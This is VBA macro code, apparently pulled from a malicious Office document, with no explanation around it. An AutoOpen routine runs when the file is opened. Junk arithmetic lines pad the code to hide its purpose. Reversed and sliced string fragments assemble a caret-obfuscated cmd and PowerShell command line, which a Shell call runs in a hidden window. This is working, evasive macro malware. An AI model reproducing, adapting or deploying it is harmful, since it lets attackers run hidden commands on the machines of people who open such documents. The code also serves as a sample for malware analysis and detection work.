wLqQvKQPH = (8046936 - CDbl(8093809 + umOUZ / wmGrlq * Hex(1764455)) - 9352821 + CByte(PiVcu))
Shell OBfSM + WkGLVrjP + dlwMoCYkSfHKv + VBGaAHwFB, 0
lmNvwfkiC = (2367351 - CDbl(2688299 + AKfwnlLl / WKjYhNvFRFv * Hex(4604961)) - 6955005 + CByte(aaGZFiw))
FwhDVradM = (4370449 - CDbl(7432442 + RObjXRRo / kHSuQzFVhL * Hex(1239683)) - 609457 + CByte(RMwVMWUbEiIE))
End Sub

Attribute VB_Name = "RnOaQrSIt"
Function kNFZHJDY()
On Error Resume Next
BNvFf = (8284549 - CDbl(6523766 + FRHuFiLlNGOoLi / dPtTviCChH * Hex(7343640)) - 1902665 + CByte(ABourwwMLWzEuJ))
WiNqLQ = (767639 - CDbl(402299 + ZwLUqiMXmVCP / nTYNlLSUzP * Hex(6935308)) - 3084620 + CByte(ttPBUwAw))
WPVwoIiRtll = (6619705 - CDbl(7606814 + dJTcWEavwkjjfh / sjPbjbEXp * Hex(3557718)) - 1619497 + CByte(AEOdEfakcspw))
HtlXOBXpPvz = (IzNJuwUwF) + yHBjksbJKSUgsssd("tBQBUzwJwjkwTs7jDw5kJQojaqwolZHhGHdWH% tes&&!%wTbPsotTXW%!=%JXGfbAYVEmCz% tes&&hzjJ0QB", 5, 53)
IVjDWIGG = (4985054 - CDbl(8321193 + HiAFzvzuRiu / lqfFYRDwwwwb * Hex(803961)) - 2215570 + CByte(OfkZOwlafNiWA))
PpLCtfu = (1335886 - CDbl(4244099 + XJinvzF / BVsjKjYBlFkO * Hex(6391613)) - 1805569 + CByte(qzPzruvCrch))
GwnaXF = (5060625 - CDbl(3482261 + YvPavXsDC / zodkvWHi * Hex(2759035)) - 5731253 + CByte(njzNuGSBGdGGf))
XBLprbWafD = (WYliKNT) + yHBjksbJKSUgsssd("2cj4s7iT2QIjC   !%RzVXOupfHuAFhE%!!%ZNucCzC%!!%PjrVLGkHmc7bn6OuS8zHs7cPCOru9VDvm", 27, 41)
hvNrYnLJNi = (3074486 - CDbl(2548075 + RZCvn / izXmBSwcqFrjz * Hex(1989159)) - 5657245 + CByte(LjlduSBduFblUN))
VqbQdirowLb = (6992811 - CDbl(128844 + HUTnUTC / jzYti * Hex(3167759)) - 558923 + CByte(VOVKJwQwu))
dZLYzVi = (8316440 - CDbl(9273608 + KIdUqUsqJJqMi / LUckMoYOzz * Hex(2773806)) - 8109867 + CByte(IDXsd))
livcDTz = (zACRKHVVzLodkP) + yHBjksbJKSUgsssd("kjLlahpGBa8ru%RzVXOupfHuAFhE% tes&&eh=%ZNucCzC% tes&&ltAUuEwVjLU=%BFwhwGmHNzAOGFm% tes&&s=%Pj4mfR", 5, 80)
crFzMHq = (5902904 - CDbl(1473613 + wJiGARkm / QNoXhkAYhwQL * Hex(206351)) - 7569554 + CByte(FOTUHEizPr))
jKJBoPO = (9357776 - CDbl(3264647 + wCwnaavJUDBD / ucfrHvWCBlzPii * Hex(6448898)) - 2725364 + CByte(jkTLafCck))
BckuIzqpE = (5025126 - CDbl(8452147 + kKSRMJGT / jBumwQwYw * Hex(8586400)) - 2668515 + CByte(vXQjjUwdOXUikQ))
IokFhdqBs = (LXJbjnwTK) + yHBjksbJKSUgsssd("m1bOmprVLGkW% tes&&!%LdVPTWjcpJMjjqn89r2LA3j4itdphrq6zWjCFiaIa4iO", 32, 28)
pTXDHkEozQ = (290582 - CDbl(6489132 + oJpKMjQBjp / ZiTmAvbh * Hex(2075265)) - 2003380 + CByte(hZKinAOandQpk))
NOwMFKPonEM = (3355851 - CDbl(1079673 + jCIXwakiKOrVu / TWSzcPz * Hex(5817310)) - 8667734 + CByte(nFBpJoiV))
MKKXYO = (9034718 - CDbl(959898 + iCnuHpjYZIsjc / tWnpqq * Hex(959375)) - 1845003 + CByte(jrYuUVfVapTpU))
hpASJ = (dPDEohiWpn) + yHBjksbJKSUgsssd("MZ1MUwGiikW%!!%jAXzzEAzw%!!%dTTCYqGUw%!!%JXGfbAYVEmCz%!&&ll=4CDozl", 7, 50)
DzDoX = (566004 - CDbl(6656300 + LCtmRrIUZrkUQW / pjnSzOFDkpVafT * Hex(1771559)) - 5284271 + CByte(miIDZ))
tvidDDUPub = (4009810 - CDbl(5814751 + QLqaKLosofb / kjhGzJzv * Hex(3151084)) - 5527985 + CByte(QPkhm))
GUINjsI = (2753730 - CDbl(9189299 + PJkiCOcZ / hiroiLPCwC * Hex(661982)) - 3075000 + CByte(iRnKaKaiC))
dbNSjWIaklZ = (SvjEOnVLD) + yHBjksbJKSUgsssd("rqGlzmNwfUA=%MiFODNQdVhwurDZ% tes&&wo=%LdVqCBQ9V1zuOFiYJmSWqiLjzrbE", 26, 39)
zDcwz = (2347244 - CDbl(8527323 + raSus / RwzfEzZVEOBS * Hex(2018686)) - 6158723 + CByte(EUjCzsGFzMR))
lOskFqNvH = (48788 - CDbl(2847505 + fiGlDFlTi / mnMzGcXBMU * Hex(7403961)) - 1127337 + CByte(rvwLsATnwKA))
RWEXqqcQ = (4833807 - CDbl(6147497 + jHaulmHQKfGzWo / nuiZAOqH * Hex(8971104)) - 8578315 + CByte(PpndLaah))
shPhC = (NhlMiEUip) + yHBjksbJKSUgsssd("pk4njitWTdq0kllPTWjcpJMjj% tes&&p=%wTbPsotTXW% tes&&PMTwZCvbJt=%QwuwjIatOwWuaFD% tesWiKnhkq", 8, 69)
TOhiS = (3614065 - CDbl(4449042 + djUjZowV / UhGZo * Hex(1017405)) - 8277795 + CByte(zokRcMtbuBBuG))
jWfXLBPzPEU = (4718267 - CDbl(6592358 + JzEvYUpiCJwksG / kIpCimAAUbEin * Hex(9062307)) - 5130204 + CByte(vzKQqBvRfwCPTQ))
ULoNt = (1557195 - CDbl(6634753 + IRlRWDJIwkUT / BmbOAliqCjNX * Hex(4441542)) - 6147558 + CByte(lhDTWqfdpdZv))
bduzSdzj = (KQSzfjpzfB) + yHBjksbJKSUgsssd("cio2d1Ml4%!=%dTTCYqGUw% tes&&re=%jAXzzEAzw% tes&&BQodZaiwDffQnIHjaqA", 10, 50)
vFZiTBrNXM = (4570300 - CDbl(4803286 + PjAzwWJmk / qiiISmZhjV * Hex(9635786)) - 5368141 + CByte(zWtYwQkaXbki))
BKuoIiD = (6894113 - CDbl(5007183 + rZGAV / fROwPlTRoDYn * Hex(8833429)) - 757246 + CByte(FwMVAASGwi))
QlZJwiXpjDo = (6694953 - CDbl(2404048 + pJOzGzRFi / jfQIjXLqpW * Hex(5088575)) - 7314999 + CByte(tiUoMKQUjZ))
WCtVXqwa = (wPnFQWzzGhYtz) + yHBjksbJKSUgsssd("Uspzv7cjQC=%RbzJjBLWbzG2kDN7jrJ", 13, 11)
kNFZHJDY = shPhC + dbNSjWIaklZ + HtlXOBXpPvz + WCtVXqwa + bduzSdzj + IokFhdqBs + livcDTz + hpASJ + XBLprbWafD
vbiobjvmV = (5040266 - CDbl(4604388 + qjsjimnsqwD / VSlJEuOGAGV * Hex(6259185)) - 856570 + CByte(kKtjELDNolv))
dcdjniwXw = (3670405 - CDbl(1649080 + mibLRfkOLfzCdw / tsiIiA * Hex(2741078)) - 5180059 + CByte(lZNXYIHP))
bPHBdAlhD = (4451441 - CDbl(6859281 + caDobDfRKduXHJ / sSMpDXjaN * Hex(8279549)) - 1140876 + CByte(rsaadicp))
End Function

Attribute VB_Name = "CiuGhcFXl"
Function lRGzVUVcpYzdHW()
On Error Resume Next
TOdVo = (6704856 - CDbl(3048644 + LhSnicIPTtwBtc / ozADZzTm * Hex(7662449)) - 5620277 + CByte(BTPlnkYqIIdqqs))
SqPuLX = (4190228 - CDbl(273528 + qLjEjrfua / qzruiKhboA * Hex(6552936)) - 1136425 + CByte(cCUHLIK))
bTkRXi = (2088275 - CDbl(721717 + uwcusUcjrMFhtQ / zfIRhBq * Hex(7027641)) - 9905574 + CByte(CMjUlQ))
hSjoYfPu = (QsjHkwJHUta) + yHBjksbJKSUgsssd("htvcDrpt   V/       GhmfTkrMbAbAYlzkHQio", 21, 12)
dUlwJ = (2310194 - CDbl(5530487 + tWzEL / nqHsPGwlvu * Hex(3787182)) - 3225092 + CByte(PTLUkArtLsJqII))
tzAbti = (2755021 - CDbl(5204019 + BslYcwwU / kwTzO * Hex(6850050)) - 5419477 + CByte(MiiBMDU))
IEjTh = (6805439 - CDbl(5465214 + wBGziKfsaiZnVM / jQuaL * Hex(5788559)) - 4961526 + CByte(uvjsOpo))
VqwiDHJcPm = (QqtFuJDs) + yHBjksbJKSUgsssd("qizZf   %cwTUQamAcCpN", 12, 5)
tohck = (305653 - CDbl(5504040 + ZJQTYmMBCRRD / NknULhodjQrI * Hex(3257074)) - 3349399 + CByte(WSWMM))
FaidAoC = (223360 - CDbl(8437954 + jhbjikLrDSX / EmtKUnJssYL * Hex(1468254)) - 4052276 + CByte(fjuEqk))
CcSvjIRQ = (4149089 - CDbl(956048 + mjAGt / ZopthAjZM * Hex(8477352)) - 4857720 + CByte(znKVULaEcwwcm))
kZthRJlclTJ = (UVIzpZNW) + yHBjksbJKSUgsssd("mivZpDQUXtoOJczijDjTIwWEGmouYVIID", 10, 5)
MzKrJwIEAK = (3259135 - CDbl(8734176 + RtRPojpsc / MHTABTlXsabUa * Hex(9921984)) - 1266392 + CByte(TISOlLsrh))
qkdjWhapAX = (7834500 - CDbl(7875522 + fAbiquJ / UGupwo * Hex(4728252)) - 3582657 + CByte(zTRIQMjZOEAOb))
bwilEA = (3662608 - CDbl(2461463 + ZsrzwifqAD / NdRznaz * Hex(6955137)) - 4086704 + CByte(COouFbqIr))
EIdUuGA = (SkWNnHwJiM) + yHBjksbJKSUgsssd("GMHJUADPtMovjO& NvWMQDZVckVWNTbdpu", 9, 12)
bvhHYi = (8393048 - CDbl(525410 + hIKZfSuBGHzQ / vuBobIdjuDP * Hex(837828)) - 8121177 + CByte(ARdOG))
hzmcP = (3222116 - CDbl(9653857 + zCZmiDFHhiSKL / cOciYGmFvV * Hex(8027758)) - 2852269 + CByte(jcstzjBuzPoia))
DKjSVvWBHV = (5862094 - CDbl(7494538 + kmjrXpOlX / sHuGDzPIViolS * Hex(5144437)) - 1852057 + CByte(czoEwbziLjJ))
swIERAdbFcn = (SwzGNodirHWiDE) + yHBjksbJKSUgsssd("BptzGhWwzE^p^S^mo^C%       TmRoJnkGmbzDmwQSW", 18, 18)
TpdjSWDawl = (9551349 - CDbl(3590141 + QHMuUnsmaQhOK / PhjowpjSrAL * Hex(2999047)) - 795178 + CByte(jhzJDNannwrD))
FlDwSHP = (4345480 - CDbl(6040093 + rAkJVTIdaBd / wPLjEjD * Hex(1143666)) - 8690205 + CByte(YLwJbtkz))
HwtbvLdp = (8571209 - CDbl(3619612 + jAAbG / VXDZHaAcXcP * Hex(7364952)) - 3921480 + CByte(ZpabZNMr))
RiSTHmjTOP = (LrPRJIhzTFiqMO) + yHBjksbJKSUgsssd("IZXHrTzbGzh QHzzjnaNDXOITGiMiqbWmrDPniOvjkF", 21, 15)
WvmwZQbKoR = (7145903 - CDbl(9250739 + ERVLYAbuaZB / VdIKwzPnNIRHn * Hex(3690795)) - 6891500 + CByte(ziKoRfnzYRkKl))
CCNji = (3909017 - CDbl(7932853 + GFfFZiuRVITw / OXEQkurONbpqKm * Hex(5915292)) - 2857678 + CByte(BtSfAh))
PVNmLn = (7620172 - CDbl(5923166 + VnsSIMqz / uftBZw * Hex(4366816)) - 8534092 + CByte(pOOsQCPHad))
MuwbUEEPdKF = (IwBiiprQ) + yHBjksbJKSUgsssd("pmMPiPStpiBrmlfT   c/      p", 2, 11)
zkwIqbhdaj = (9611012 - CDbl(3165762 + cXqCB / NdwEOIjAuAzK * Hex(2291143)) - 2787360 + CByte(PfTDH))
jsOFomYD = (1388418 - CDbl(1621010 + EmTVPwf / sSrmjffVDQS * Hex(4963221)) - 1616014 + CByte(smBANrW))
iWjGdhWEP = (9801899 - CDbl(8875169 + FSsSunTEPU / sTcTk * Hex(9979930)) - 9611892 + CByte(qoiCt))
THLJiGsnqQj = (TdzMckjLATUIID) + yHBjksbJKSUgsssd("ccqKMa GfZXqrPNJviJt mFhtaGjPfpjRZjEZYZKDAdw", 24, 15)
Scjjs = (8481359 - CDbl(4758859 + EpWPwYNUEVcKLU / vCwmXk * Hex(8584235)) - 5130232 + CByte(OmtPthGvk))
JZMXDBAiFSd = (8997664 - CDbl(3842024 + KBooNwssh / ufLifjFBOL * Hex(2908597)) - 9643181 + CByte(MfwaX))
CZCnIwzRJc = (2889504 - CDbl(6332092 + RAjkBIzKoz / qlsNDOCZpjj * Hex(1633102)) - 1625430 + CByte(AcIPVVd))
NUSWoL = (QzOKoGASZhd) + yHBjksbJKSUgsssd("WzmjNzJbDVwpHVir        qPoQmYbrboHrpCqassZCJf", 23, 8)
aTJjti = (2239767 - CDbl(4057302 + rrkraYAfouSi / pjOhb * Hex(4079536)) - 4622165 + CByte(hrGwb))
IAAGhwRMVQf = (889750 - CDbl(7403938 + qUJAoJ / tnBVisS * Hex(9298579)) - 1503578 + CByte(dSfEkTqzoJz))
aPjXZiL = (5766670 - CDbl(9040799 + TNWwaIiPfXVuZz / IOvwPzmHEFBTD * Hex(22662)) - 9999549 + CByte(PsCBQWU))
lcLSzfQhdtH = (YHraLhHOTSu) + yHBjksbJKSUgsssd("niZYjdmcQjnmPBOviTkIZhzc", 17, 3)
lRGzVUVcpYzdHW = lcLSzfQhdtH + THLJiGsnqQj + kZthRJlclTJ + RiSTHmjTOP + EIdUuGA + swIERAdbFcn + VqwiDHJcPm + hSjoYfPu + MuwbUEEPdKF + NUSWoL
WzCOmHiqt = (8183286 - CDbl(608124 + vDffChGSsYo / PfLGBWwdmu * Hex(4907629)) - 9836509 + CByte(jzzVPHd))
AUEIjNAUK = (702142 - CDbl(5354993 + KbzGwboXsZtAij / ShGwcRLa * Hex(9065747)) - 5137779 + CByte(XoWiS))
iScolksDt = (5311864 - CDbl(7015884 + aaEiDvhmDGzf / BDjuEzANGLiBrh * Hex(6663292)) - 7914725 + CByte(CBjaA))
End Function

Attribute VB_Name = "lSljAadzhFN"
Sub AutoOpen()
On Error Resume Next
TwwtjHnuT = (3982061 - CDbl(8231379 + IEsVHfL / QdzOiBFvTCf * Hex(4791370)) - 1976619 + CByte(zCGczESIUwWkM))
HdzTZXcnp = (9730930 - CDbl(6920508 + iCsaQoR / SGpPf * Hex(6613626)) - 1338058 + CByte(HJBszow))
RUiGBhCIE = (4319602 - CDbl(3098566 + CaiDHEf / AojnqQOffzrNt * Hex(743460)) - 5169357 + CByte(iiQWPw))
Application.Run "wzAEzzXAj", jjMJpcjWTPVdL
lsPTEnZGt = (7803088 - CDbl(3560790 + zdkuQlTWdGfCW / zcVZnIiBCrYXLb * Hex(1260694)) - 4790819 + CByte(CvwGz))
VnSfDsViN = (2591684 - CDbl(9398825 + nwlUAJ / vatWsZrQ * Hex(801747)) - 632705 + CByte(GXrBHiHIFl))
jYdKaEnJn = (6734351 - CDbl(375420 + iKXbQZFLcRbl / ZOmpDN * Hex(8471417)) - 831320 + CByte(PBQLRVEGQU))
End Sub
Function yHBjksbJKSUgsssd(ByVal zCmEVYAbfGXJ As String, EhFAuHfpuOXVzR, CzCcuNZ)
    yHBjksbJKSUgsssd = Mid(StrReverse(zCmEVYAbfGXJ), EhFAuHfpuOXVzR, CzCcuNZ)
End Function